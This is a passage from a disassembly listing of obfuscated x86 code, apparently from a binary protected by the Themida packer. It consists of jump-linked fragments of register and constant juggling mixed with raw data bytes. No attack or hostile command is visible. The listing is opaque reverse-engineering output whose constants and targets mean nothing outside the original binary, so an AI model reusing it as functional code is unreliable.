		dd 68665153h, 5966362Bh, 6E9C166h, 0A3E98166h, 0CB8966A5h
		dd 0DA016659h, 2D665B66h, 0C7E92725h
		db 45h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54B6EB:				; CODE XREF: Themida_:0054AB81j
		pop	edi
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		imul	ecx
		push	5CE3h
		mov	[esp], esi
		mov	esi, esp
		push	ebp
		jmp	loc_5465FF
; ---------------------------------------------------------------------------


loc_54B708:				; CODE XREF: Themida_:0054877Cj
		xor	edi, eax
		pop	eax
		add	esi, edi
		mov	edi, [esp]
		add	esp, 4
		add	esi, 4
		jmp	loc_54CD74
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd 42474FFh, 0E924048Bh, 0FFFFE42Ch
; ---------------------------------------------------------------------------


loc_54B730:				; CODE XREF: Themida_:0054F163j
		mov	esp, [esp]
		push	ecx
		jmp	loc_54747D
; ---------------------------------------------------------------------------


loc_54B739:				; CODE XREF: Themida_:0054E332j
		pop	edi
		xor	ecx, 4B90A3E6h
		add	esi, ecx
		pop	ecx
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_549788
; ---------------------------------------------------------------------------
		db 83h
		dd 86E904ECh, 0F00004Fh, 0FFCABA84h, 4EC83FFh, 56240489h
		dd 0B951E689h, 425736A3h, 0F2C18149h, 810BDB61h, 0E80D6FE9h
		dd 0EAC98137h, 0E9053A59h, 0FFFFDA34h, 243C8B58h, 81E68956h
		dd 4C6h, 4C68100h, 56000000h, 42474FFh,	24048F5Eh, 0AE2FE95Ch
		dd 0F301FFFFh, 3B05EB81h, 0FF5E33AFh, 0A3E92434h
		db 52h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54B7B7:				; CODE XREF: Themida_:0054F02Ej
		mov	ebp, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_546DDD
; ---------------------------------------------------------------------------
		dw 7401h
		dd 8F5E0424h, 0BA522404h, 4, 4245401h, 0ADE7E95Ah, 0BA52FFFFh
		dd 330C97h, 8142D2F7h, 0CCF365EAh, 245401FFh, 24148B04h
		dd 1796E9h, 96BCBA00h, 0D331BA91h, 5BDD015Ah, 2C58158h
		dd 33000000h, 2C31242Ch, 242C3324h, 6624248Bh, 1F68F1F7h
		dd 89000055h, 5F54243Ch, 4C781h, 15E90000h
		db 26h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54B83F:				; CODE XREF: Themida_:0054D635j
		push	ecx
		mov	ecx, esp
		jmp	loc_55062D
; ---------------------------------------------------------------------------


loc_54B847:				; CODE XREF: Themida_:0054CE77j
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		sub	esp, 4
		jmp	loc_54AE43
; ---------------------------------------------------------------------------
		dd 0EB027F68h, 240C8B02h, 4C481h, 0E9810000h, 22FA14D7h
		dd 1813F181h, 0E18122F2h, 73E6AC4h, 0E981D9F7h,	0C7292BBAh
		dd 8159CB01h, 794604EBh, 53C30137h, 0C381E389h,	4, 7FD968h
		dd 24348900h, 0A53608BEh, 2F6815Ah, 8127321Ch, 972A0EF6h
		dd 5EF3297Dh, 2474FF53h, 0D786E904h, 575CFFFFh,	434CE9h
		db 0
; ---------------------------------------------------------------------------


loc_54B8C9:				; CODE XREF: Themida_:0054CDEBj
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_54CFB9
; ---------------------------------------------------------------------------
		db 57h
		dd 2BFh, 3631E900h, 0D680000h, 89000008h, 0E9542404h, 0FEFh
		dd 8924248Bh, 6852242Ch, 2246520Ch, 0D1D2F75Ah,	1CC281E2h
		dd 0E9448CA4h, 0FFFFE79Bh, 0A4C6815Eh, 8148D841h, 0CF67A6E6h
		dd 1DE68152h, 813A7925h, 10506F6h, 5EF78910h, 704AE956h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54B92E:				; CODE XREF: Themida_:005476AFj
		mov	ebx, esp
		add	ebx, 4
		push	ecx
		mov	ecx, 4
		add	ebx, 4D68710Dh
		sub	ebx, ecx
		jmp	loc_548938
; ---------------------------------------------------------------------------
		db 81h,	0F1h, 93h
		dd 1629B1Ah, 0D80159CBh, 2DD8015Bh, 46981B11h, 0D6568h
		dd 240C8900h, 6D766855h, 0E95D5FA9h, 4CE0h, 0E92434FFh
		dd 290Ah, 31241C33h, 1C33241Ch,	24248B24h, 240C8966h, 2095E9h
		dd 0E9526600h, 4E63h, 0E4E9DE88h, 50000037h, 8B241CF7h
		dd 0C4832404h, 14F75004h, 2434FF24h, 0FFD58CE9h, 0E5F581FFh
		dd 21AABC78h, 0BE565DE8h, 1CDC22B2h, 0F708E6C1h, 0D28BE9DEh
		dd 815FFFFFh, 4ECh, 24348900h, 0E6AE9h,	24148700h, 1489665Ch
		dd 8071B624h, 0D6F601EEh, 52E9C6FEh, 89000045h,	4C681E6h
		dd 52000000h, 0F029BBAh, 0E9DAF74Eh, 299h, 13DBD55h, 0C5817DB9h
		dd 15CA7AEDh, 22F9ED81h, 0EB895B14h, 5B2CE95Dh,	525B0000h
		dd 31240481h, 5F1B9C25h, 2531EF81h, 148B1B9Ch, 4C48124h
		dd 56000000h, 0F2895E57h, 0E92434FFh, 3B2Eh, 8104C483h
		dd 4C3h, 4C38100h, 53000000h, 42474FFh,	52241C8Bh, 0C281E289h
		dd 4, 8704C283h, 0CE92414h, 0C1FFFFCEh,	0F38105E3h, 11A1623Bh
		dd 0E3C14B4Bh, 5E3C104h, 1CBBBA52h, 91E9F5F4h, 81000060h
		dd 1D2974C7h, 7B3E93Dh,	85680000h, 0E948AA66h, 0FFFFE66Ah
		dd 24048B66h, 52E7E9h, 0FE8AB400h, 80DCF6CCh, 0E4D0CFC4h
		dd 8007ECC0h, 0E70893C4h, 8324048Bh, 686604C4h,	89664CEBh
		dd 0E9E92404h, 0BAFFFFB5h, 5FC16B66h, 0E5E28142h, 81492B70h
		dd 0B114BAEAh, 0DC61E911h, 0C142FFFFh, 0EB6804E2h, 89000002h
		dd 4FF2414h, 58E95A24h
		db 0CFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54BAFB:				; CODE XREF: Themida_:00548E81j
		add	ebp, ecx
		jmp	loc_550253
; ---------------------------------------------------------------------------


loc_54BB02:				; CODE XREF: Themida_:00546CA9j
		push	6580h
		jmp	loc_54C273
; ---------------------------------------------------------------------------
		dd 54240C89h, 81240C8Bh, 4C4h, 26C4E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54BB1E:				; CODE XREF: Themida_:00546C1Cj
		push	ecx
		push	5B5Bh
		push	esp
		jmp	loc_54D6C4
; ---------------------------------------------------------------------------
		dw 0B450h
		dd 43B65247h, 801FEE80h, 0F400BDC6h, 0F6EC865Ah, 588FE9DDh
		dd 0DE010000h, 7FD5EE81h, 835B2755h, 74E904C6h
		db 0BEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54BB53:				; CODE XREF: Themida_:00552680j
		neg	edi
		add	edi, 11843C5Dh
		sub	edi, 44991E5Ah
		add	edi, 0FFFFFFFFh
		add	edi, 0B8492851h
		sub	edx, edi
		mov	edi, [esp]
		jmp	loc_54A9D4
; ---------------------------------------------------------------------------
		db 8Fh
		dd 0FF5C2404h, 34FF2434h, 0C4835924h, 3806804h,	0C890000h
		dd 0C8B5424h, 4C48324h,	7FDCBA52h, 0C281078Fh, 35740F52h
		dd 0FFFF41E9h, 4C481FFh, 50000000h, 46853h, 22E90000h
		dd 81FFFFE6h, 0FF6663E9h, 59CA0131h, 6802C283h,	694Dh
		dd 0FFC7B0E9h, 79BA52FFh, 0C1185F7Dh, 0C28107E2h, 48EE59E3h
		dd 0FFF93BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54BBE1:				; CODE XREF: Themida_:0054DF8Bj
		mov	[esp], eax
		mov	eax, 21C95E54h
		shr	eax, 1
		push	esi
		mov	esi, 109E0DCCh
		add	eax, esi
		pop	esi
		sub	eax, 2182BCF5h
		mov	esi, eax
		mov	eax, [esp]
		jmp	loc_54ACB0
; ---------------------------------------------------------------------------


loc_54BC03:				; CODE XREF: Themida_:00548378j
		push	edx
		xor	dword ptr [esp], 67C01653h
		pop	ebx
		xor	ebx, 67C01653h
		pop	edx
		jmp	loc_54C73C
; ---------------------------------------------------------------------------


loc_54BC18:				; CODE XREF: Themida_:0054C17Bj
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, ebx
		push	968h
		mov	[esp], edi
		pop	eax
		mov	edi, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		push	ecx
		push	4
		mov	ecx, [esp]
		add	esp, 4
		sub	esi, 37D003A3h
		add	esi, ecx
		jmp	loc_551424
; ---------------------------------------------------------------------------
		dw 0D9F7h
aBNj		db '│аоnJ',0
		dd offset dword_457444+558A5h
		dw 0C100h
		dd 0C68108E6h, 6CE45A96h, 9D94F681h, 78E9AD37h,	31FFFFE8h
		dd 6667E9E9h, 0D3290000h, 0FFC60BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54BC89:				; CODE XREF: Themida_:0054BF8Dj
		mov	edi, [esp]
		add	esp, 4
		add	ebx, 4
		jmp	loc_5491A3
; ---------------------------------------------------------------------------
		db 81h,	0CAh, 0BFh
		dd 0C17AFF06h, 0F6E905EAh
		db 0DCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54BCAB:				; CODE XREF: Themida_:00549D38j
		sub	ebx, 3F3243FBh
		jmp	loc_54D632
; ---------------------------------------------------------------------------
		dw 5156h
		dd 0B85AC3B9h, 0EB55E90Dh, 0F829FFFFh, 58C6295Fh, 89F28952h
		dd 24148BD5h, 8B04C483h, 0C4832434h, 37B95104h,	81132BE1h
		dd 0F57668C5h, 81CD0164h, 0F57668EDh, 0EB295964h, 48F3E9h
		db 0
; ---------------------------------------------------------------------------


loc_54BCF5:				; CODE XREF: Themida_:0054B355j
		sub	ebp, 0B3F446Ch
		add	ebp, 21E02606h
		jmp	loc_546F73
; ---------------------------------------------------------------------------
		dw 5152h
		dd 0E8556A68h, 0BD555917h, 1DDF54F6h, 74E9E929h
		db 60h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54BD1B:				; CODE XREF: Themida_:0054EB02j
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebx
		push	2691h
		mov	[esp], ebp
		mov	ebp, 595D01AEh
		add	dword ptr [esp+4], 5E6D48BEh
		push	ecx
		jmp	loc_54C0EA
; ---------------------------------------------------------------------------


loc_54BD3D:				; CODE XREF: Themida_:00552408j
		pop	ecx
		add	edi, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		push	ebp
		jmp	loc_549353
; ---------------------------------------------------------------------------
		dw 487h
		dd 24895C24h, 24048324h, 0C3815B04h, 4,	362A68h, 242C8900h
		dd 4BDh, 0C1C38100h, 156074Bh, 4BF57EBh, 0E941BD7Fh, 5617h
		dd 0E13802B8h, 5D8F729h, 400F5BFEh, 7A1D0A35h, 20E80D00h
		dd 0D8F76EDBh, 20C0FE2Dh, 58C70181h, 31243C33h,	3C33243Ch
		dd 0FF665C24h, 0A813E930h, 0BE56FFFFh, 3F7F68E9h, 8106EEC1h
		dd 0EFB358EEh, 0CFF3E9E5h, 34FFFFFFh, 1F98E924h, 81590000h
		dd 990FFEEBh, 0E9D30113h, 40D9h
; ---------------------------------------------------------------------------


loc_54BDEC:				; CODE XREF: Themida_:0054D71Aj
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_5487D0
; ---------------------------------------------------------------------------
		dw 0E389h
		dd 4C381h, 0C3830000h, 241C8704h, 4B53E95Ch, 0C5810000h
		dd 4, 0EA0E9h, 0B900h, 0D9010000h, 88D78853h, 0FF595B39h
		dd 685A2434h, 6D48h, 89240489h,	405E0h,	0C0830000h, 6A9FE904h
		dd 0FB50000h, 0D7F6FD86h, 0F580FD86h, 59E82858h, 0A804E800h
		dd 240C8B66h, 0F7E0E950h, 0C681FFFFh, 73F65D2Fh, 8124048Bh
		dd 4C4h, 2B166800h, 0C890000h, 2BE5624h, 89000000h, 0CE015EF1h
		dd 6361E959h, 0C4830000h, 7AF28104h, 812665CDh,	88294EEEh
		dd 3FC68120h, 150BD02h,	3FEE81D6h, 8150BD02h, 88294EC6h
		dd 0CDC3E920h, 0D001FFFFh, 0CF15CC2Dh, 1CFF2D0Dh, 0FBE94CE0h
		dd 8900000Eh, 12E92424h, 0FFFFFFBCh, 68592434h,	3E69h
		dd 89243489h, 0B919E9E6h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54BEDA:				; CODE XREF: Themida_:0054FD50j
		pop	esp
		mov	[esp], edi
		push	2D9A0054h
		pop	edi
		jmp	loc_550204
; ---------------------------------------------------------------------------
		db 87h,	34h, 24h
		dd 6624248Bh, 66240C89h, 66C8B60Fh, 0ECE99C51h,	4FFFFA8h
		dd 5EB55144h, 63E9E828h, 100003Bh, 74E95FFAh, 8100001Eh
		dd 0F228DAF3h, 65EF8127h, 10E6F2Bh, 65C781DFh, 0E90E6F2Bh
		dd 0FFFFBD0Fh, 19E96866h, 1AE4E9h
		db 0
; ---------------------------------------------------------------------------


loc_54BF35:				; CODE XREF: Themida_:0054E6DFj
		and	eax, ebx
		mov	ebx, [esp]
		jmp	loc_54AD3F
; ---------------------------------------------------------------------------


loc_54BF3F:				; CODE XREF: Themida_:0054A0D6j
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_549607
; ---------------------------------------------------------------------------
		dw 148Bh
		dd 4C48324h, 64C5B951h,	5A687DF8h, 89000025h, 0BD552414h
		dd 69EC56DFh, 0FFE8CBE9h, 24148BFFh, 4C481h, 92E90000h
		db 0B0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54BF7F:				; CODE XREF: Themida_:0054B30Cj
		mov	ebp, [esp]
		push	ebx
		mov	ebx, esp
		push	edi
		mov	edi, 4
		add	ebx, edi
		jmp	loc_54BC89
; ---------------------------------------------------------------------------
		dw 0C968h
		dd 89000064h, 7ABB241Ch, 0E93FEB59h, 3564h
; ---------------------------------------------------------------------------


loc_54BFA4:				; CODE XREF: Themida_:0054A259j
		push	45685448h
		pop	ebp
		xor	eax, ebp
		mov	ebp, [esp]
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		sub	esp, 4
		mov	[esp], edx
		push	ebx
		push	6665F7Ah
		pop	ebx
		dec	ebx
		add	ebx, 1058AE49h
		jmp	loc_54957A
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 4
		dd 0E9000000h, 0FFFFD989h, 945E952h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54BFE2:				; CODE XREF: Themida_:0054D5EBj
		mov	esi, [esp]
		add	esp, 4
		push	edx
		mov	edx, 10h
		and	ebx, edx
		jmp	loc_54A6CD
; ---------------------------------------------------------------------------
		dd 657363BAh, 6EAC165h,	21AAB951h, 0FCE93F59h, 83FFFFCBh
		dd 48F04C4h, 14E95C24h,	5D000017h, 5CC6E9h, 15D5800h, 350BE9F1h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54C026:				; CODE XREF: Themida_:00547E12j
		inc	eax
		push	ebp
		mov	ebp, 4BFF02C4h
		xor	eax, ebp
		jmp	loc_547DC6
; ---------------------------------------------------------------------------
		dd 8900C281h, 0C6811DF0h, 38B467EDh, 0EE81D601h, 38B467EDh
		dd 3DF2E9h
		db 0
; ---------------------------------------------------------------------------


loc_54C04D:				; CODE XREF: Themida_:00550691j
		add	ecx, 18A411D9h
		add	edi, ecx
		pop	ecx
		shr	edi, 6
		push	ecx
		mov	ecx, 0FE1FC5A8h
		add	edi, ecx
		pop	ecx
		add	ecx, edi
		jmp	loc_54C0DE
; ---------------------------------------------------------------------------
		db 66h,	68h, 5
		dd 489667Bh, 0A55FE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54C076:				; CODE XREF: Themida_:00549035j
		mov	ebp, ebx
		pop	ebx
		add	ebx, ebp
		jmp	loc_54EA7F
; ---------------------------------------------------------------------------
		dd 0E904C483h, 54BAh
; ---------------------------------------------------------------------------


loc_54C088:				; CODE XREF: Themida_:0054F7FEj
		mov	edx, 76705F2Ch
		xor	edi, edx
		pop	edx
		pop	edx
		push	338Bh
		jmp	loc_549CAE
; ---------------------------------------------------------------------------
		db 59h
		dd 0E9241433h, 3DC1h, 0E92434FFh, 2DEBh, 0CFE8BD55h, 0EE291DB1h
		dd 4FBA525Dh, 29DF439Eh, 0D052E9D6h, 48FFFFFh, 57A6E924h
		dd 0E7880000h, 21896858h, 1C890000h, 24448624h,	0AC1E901h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54C0DE:				; CODE XREF: Themida_:0054C064j
		pop	edi
		push	esi
		mov	esi, 79F420C5h
		jmp	loc_5499FC
; ---------------------------------------------------------------------------


loc_54C0EA:				; CODE XREF: Themida_:0054BD38j
		mov	ecx, 2F530250h
		push	edx
		mov	edx, 59236E16h
		dec	edx
		add	edx, 0E343FD9Dh
		jmp	loc_546D92
; ---------------------------------------------------------------------------
		db 0BAh, 0D1h, 3
aSj		db '|{И╕`',0
		dw 8100h
		dd 0E14C48C2h, 81F20161h, 0E14C48EAh, 0F1685E61h, 8900000Bh
		dd 0EFE9241Ch, 68000064h, 24h, 8324148Bh, 0EE8104C4h, 33693C31h
		dd 0FAE9D601h, 83FFFFE5h, 48704C0h, 0C7E95C24h,	89FFFFECh
		dd 25E95FFBh
		db 0D6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54C153:				; CODE XREF: Themida_:00552104j
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_551583
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 4BF57h, 89560000h, 0E9F189FEh, 0FFFFC034h
; ---------------------------------------------------------------------------


loc_54C174:				; CODE XREF: Themida_:005491B3j
		and	ecx, esi
		pop	esi
		shr	ecx, 7
		push	ecx
		jmp	loc_54BC18
; ---------------------------------------------------------------------------
		dd 2B86650h, 0C6896661h, 0F3896658h, 24348B66h,	2C481h
		dd 5BE90000h, 89000041h, 8DB9240Ch, 814E633Fh, 5F2A79F1h
		dd 7F1816Ah, 0F7622444h, 0F7C181D9h, 81461851h,	0FB74ECEFh
		dd 81CF017Eh, 0FB74ECC7h, 3C87597Eh, 0C80F5C24h, 7B4868h
		dd 24048900h, 0FFA3FCE9h, 0C8B66FFh, 0E3895324h, 4C381h
		dd 68570000h, 0EA9h, 68243489h,	68AB5E52h, 0FFF713E9h
		dd 0F1368FFh, 14890000h, 104CE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54C206:				; CODE XREF: Themida_:0054F45Ej
		sub	esp, 4
		mov	[esp], ebx
		push	ecx
		mov	ecx, 4FFD2BF3h
		jmp	loc_551FF0
; ---------------------------------------------------------------------------
		db 89h
		dd 8E95EF0h, 0F7FFFFADh, 29CB81D3h, 815FF73Dh, 0CC4A89CBh
		dd 0F9EB813Ch, 0E9FFFFFFh, 3B1Dh, 4246C01h, 242C815Dh
		dd 6B935942h, 0FFF25AE9h, 2CE95DFFh, 57000050h,	42474FFh
		dd 81243C8Bh, 4C4h, 24048F00h, 0E924248Bh, 39F9h, 2C1DF3BBh
		dd 37E95742h
		db 0A6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54C273:				; CODE XREF: Themida_:0054BB07j
		mov	[esp], edx
		mov	edx, 5063517Ah
		push	3DE2h
		mov	[esp], ebx
		mov	ebx, 5C941AF1h
		add	ebx, 519E0390h
		jmp	loc_54C6CE
; ---------------------------------------------------------------------------
		db 66h
		dd 5024048Bh, 8957E089h, 4C781E7h, 81000000h, 4EFh, 243C8700h
		dd 242C895Ch, 4BDh, 3F282D00h, 822D502Dh, 11C2418h, 0A3D9E9E8h
		dd 0E931FFFFh, 0E931CD31h, 4EC835Dh, 50241489h,	194EE9h
		dd 4B900h, 0CA890000h, 22EF8159h, 13F8132h, 22C781D7h
		dd 8B3F8132h, 0E9532414h, 0FFFFEF23h, 88E4C380h, 16E95BDAh
		dd 5300001Ch, 16182FBBh, 5BD82926h, 0FFB177E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54C311:				; CODE XREF: Themida_:0054960Aj
		pop	esp
		jmp	loc_54F41C
; ---------------------------------------------------------------------------


loc_54C317:				; CODE XREF: Themida_:0054865Dj
		mov	edi, 74833CCAh
		xor	edi, ebx
		pop	ebx
		and	ecx, edi
		mov	edi, [esp]
		push	ebx
		mov	ebx, esp
		push	eax
		mov	eax, 4
		add	ebx, eax
		pop	eax
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		jmp	loc_54D084
; ---------------------------------------------------------------------------
		dd 8107EDC1h, 0CE4E8DEDh, 5EF5817Ch, 89A8E508h,	0E7815DEFh
		dd 523F7CE0h, 761DC781h, 0F8890933h, 0FFF03AE9h, 0EC381FFh
		dd 315D3D6Dh, 0A25FE9C2h, 0B353FFFFh, 1A1FE972h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54C37E:				; CODE XREF: Themida_:005477DDj
		add	edi, 3A050785h
		sub	ebp, edi
		pop	edi
		push	esi
		push	eax
		mov	eax, 736B17FBh
		inc	eax
		push	ecx
		jmp	loc_54EE45
; ---------------------------------------------------------------------------
		db 89h,	0EAh, 89h
		dd 2C8B5AD1h, 4C48324h,	8904EC83h, 0EF68240Ch, 0E9776348h
		dd 0FFFFBB54h, 8B66E300h, 0C4832404h, 10C38002h, 1C8BD830h
		dd 4C48324h, 0FFB759E9h, 34895CFFh, 68E68924h, 0FCAh, 0FFC85DE9h
		dd 0FBD05FFh, 0B9E959B1h
		db 2Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54C3E3:				; CODE XREF: Themida_:00549373j
		pop	esi
		add	edi, 300B6EF8h
		jmp	loc_549545
; ---------------------------------------------------------------------------


loc_54C3EF:				; CODE XREF: Themida_:0054AD05j
		mov	edx, 0E1FBC3Eh
		add	edx, ebx
		jmp	loc_5480BE
; ---------------------------------------------------------------------------
aScb		db '[ИФB',0
		db 0
; ---------------------------------------------------------------------------


loc_54C401:				; CODE XREF: Themida_:0054A9B4j
		mov	[esp], eax
		not	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_548E6D
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 0E46EE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54C41E:				; CODE XREF: Themida_:0054679Fj
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	eax
		jmp	loc_54A744
; ---------------------------------------------------------------------------
		dd offset dword_5BF180
		db 0C8h
		dd 0FFFC6FE9h, 895759FFh, 4C781E7h, 81000000h, 4C7h, 243C3300h
		dd 33243C31h, 248B243Ch, 0E7895724h, 428368h, 240C8900h
		dd 0E13859B9h, 0E9D1F775h, 3331h, 0E924148Bh, 0FFFFD0E6h
		dd 8704C383h, 0A1E9241Ch
		db 0D5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54C47B:				; CODE XREF: Themida_:00547923j
		add	ebx, 0D77AD330h
		mov	edx, ebx
		jmp	loc_54E968
; ---------------------------------------------------------------------------


loc_54C488:				; CODE XREF: Themida_:00546752j
		mov	[esp], ecx
		jmp	loc_5523FE
; ---------------------------------------------------------------------------


loc_54C490:				; CODE XREF: Themida_:0054A165j
		pop	edx
		jmp	loc_5520A4
; ---------------------------------------------------------------------------
		dw 77FFh
		dd 58669D1Ch, 24041166h, 0A12FE99Ch, 2C0CFFFFh,	0D0F6C0FEh
		dd 0DCCE9h, 4C18100h, 0E9000000h, 0FFFFC69Fh
; ---------------------------------------------------------------------------


loc_54C4BC:				; CODE XREF: Themida_:0054D9FFj
		push	dword ptr [esp]
		pop	eax
		jmp	loc_54E813
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 4C4815Bh, 0C1000000h, 0BA5202E8h, 493303B0h,	8B0E281h
		dd 0C14279D5h, 16E904E2h
		db 30h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54C4E7:				; CODE XREF: Themida_:00549EDFj
		sub	esp, 4
		jmp	loc_546846
; ---------------------------------------------------------------------------
		dw 5457h
		dd 0FFBA4DE9h, 240C87FFh, 0B6A0E95Ch, 0EC83FFFFh, 24048904h
		dd 0FFB6CAE9h, 241489FFh, 2434FF54h, 4C4835Ah, 0A6BF5751h
		dd 0B9458009h, 777F700Dh, 0E95FF929h, 0FFFFF68Bh
; ---------------------------------------------------------------------------


loc_54C52C:				; CODE XREF: Themida_:0054D64Aj
		shl	esi, 1
		sub	esi, 447E14F9h
		and	eax, esi
		push	dword ptr [esp]
		jmp	loc_550993
; ---------------------------------------------------------------------------


loc_54C53E:				; CODE XREF: Themida_:0054DBEDj
		sub	edi, 6F130A87h
		push	eax
		mov	eax, 43BC4F1Bh
		neg	eax
		inc	eax
		sub	eax, 79F46DDAh
		add	edi, eax
		jmp	loc_54A38A
; ---------------------------------------------------------------------------
		db 52h,	0BAh, 0
		dd 1000000h, 423281DAh,	8B7F846Eh, 89572414h, 3BE56E7h
		dd 814FEF20h, 10E001C6h, 0E9F701B0h, 3084h, 0CF87D1F7h
		dd 33243C31h, 3C31243Ch, 0E9925824h, 0FFFFD523h, 0FFA03CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54C599:				; CODE XREF: Themida_:0054A463j
		pop	esp
		mov	[esp], ebp
		mov	ebp, 0FFFFFFFFh
		jmp	loc_54E6F3
; ---------------------------------------------------------------------------


loc_54C5A7:				; CODE XREF: Themida_:00552663j
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		jmp	loc_54E78A
; ---------------------------------------------------------------------------
		db 81h
		dd 277C6EE6h, 6DEE815Ah, 31292136h, 0E7E95EF1h,	5500001Ah
		dd 43E9E9h, 3E12BD00h, 0ED811C65h, 375765C9h, 0C581DD01h
		dd 375765C9h, 4EDC15Bh,	351BE581h, 0B9512FF8h, 10E540D8h
		dd 54AFE981h, 0E9531B76h, 0FFFFE964h, 96F7815Fh, 5961FA4Ah
		dd 815FFE01h, 2EEh, 24348700h, 0FFBCB0E9h, 74FF66FFh, 8B660224h
		dd 0E9532414h, 117Dh, 2455EA81h, 0D689C78Ch, 0F631E95Ah
		dd 0C230FFFFh, 66D03058h, 0C5B1515Ah, 40E9CB00h, 1FFFFB7h
		dd 0E9015AD5h, 0E92434FFh, 0FFFFF9C3h
; ---------------------------------------------------------------------------


loc_54C654:				; CODE XREF: Themida_:00550497j
		push	ebp
		mov	ebp, 4E37168Ch
		push	ecx
		mov	ecx, 11DF4B43h
		or	ecx, 3A571D09h
		jmp	loc_54F478
; ---------------------------------------------------------------------------


loc_54C66B:				; CODE XREF: Themida_:0054CDB5j
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		or	ebx, ebx
		jmp	loc_5505B3
; ---------------------------------------------------------------------------
		db 0FFh
		dd 5F042474h, 0E924048Fh, 5928h, 348BF501h, 4C48124h, 51000000h
		dd 4B9h, 59CD0100h, 0FFECC7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54C6A1:				; CODE XREF: Themida_:005493A6j
		and	edi, 31637ADFh
		sub	edi, 1
		not	edi
		push	ebx
		mov	ebx, 38577945h
		shl	ebx, 7
		and	ebx, 1F8C217Ch
		xor	ebx, 4B9D391Ch
		push	edx
		mov	edx, 6C1B27B4h
		neg	edx
		jmp	loc_5494A9
; ---------------------------------------------------------------------------


loc_54C6CE:				; CODE XREF: Themida_:0054C28Ej
		xchg	ebp, ebx
		not	ebp
		xchg	ebp, ebx
		xor	ebx, 0FE514FFBh
		push	edi
		mov	edi, ebx
		mov	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		pop	ebx
		jmp	loc_550AE1
; ---------------------------------------------------------------------------
		db 59h
		dd 8702E883h, 248B2404h, 51D2E924h, 8A680000h, 8900001Ch
		dd 0F7E9240Ch, 0E9000028h, 0FFFF9EC9h
; ---------------------------------------------------------------------------


loc_54C70C:				; CODE XREF: Themida_:0054FA13j
		push	ecx
		mov	ecx, esp
		push	esi
		jmp	loc_54B260
; ---------------------------------------------------------------------------


loc_54C715:				; CODE XREF: Themida_:00546D94j
		pop	edx
		add	[esp+8], ecx
		jmp	loc_5486C3
; ---------------------------------------------------------------------------
		db 5Ch
		dd 4BB0F66h, 0AAE99C24h, 89FFFF9Eh, 15DEE9E7h, 24680000h
		dd 0E900002Fh, 0FFFFEFE5h
; ---------------------------------------------------------------------------


loc_54C73C:				; CODE XREF: Themida_:0054BC13j
		add	dword ptr [esp+4], 571E5D22h
		add	dword ptr [esp+4], 543B7CF9h
		add	[esp+4], ebx
		sub	dword ptr [esp+4], 543B7CF9h
		jmp	loc_548C8C
; ---------------------------------------------------------------------------
		db 1, 0C5h, 58h
		dd 31242C33h, 2C33242Ch, 24248B24h, 9C2404D2h, 0FF9E60E9h
		dd 24148BFFh, 5104C483h, 96243481h, 0E961FA4Ah,	0FFFFFE78h
		dd 0E902C183h, 4B1h, 815FFE89h,	9C5ECBC3h, 81F30135h, 9C5ECBEBh
		dd 24348B35h, 8304C483h, 1C8704C3h, 24248B24h, 0E99CC83Bh
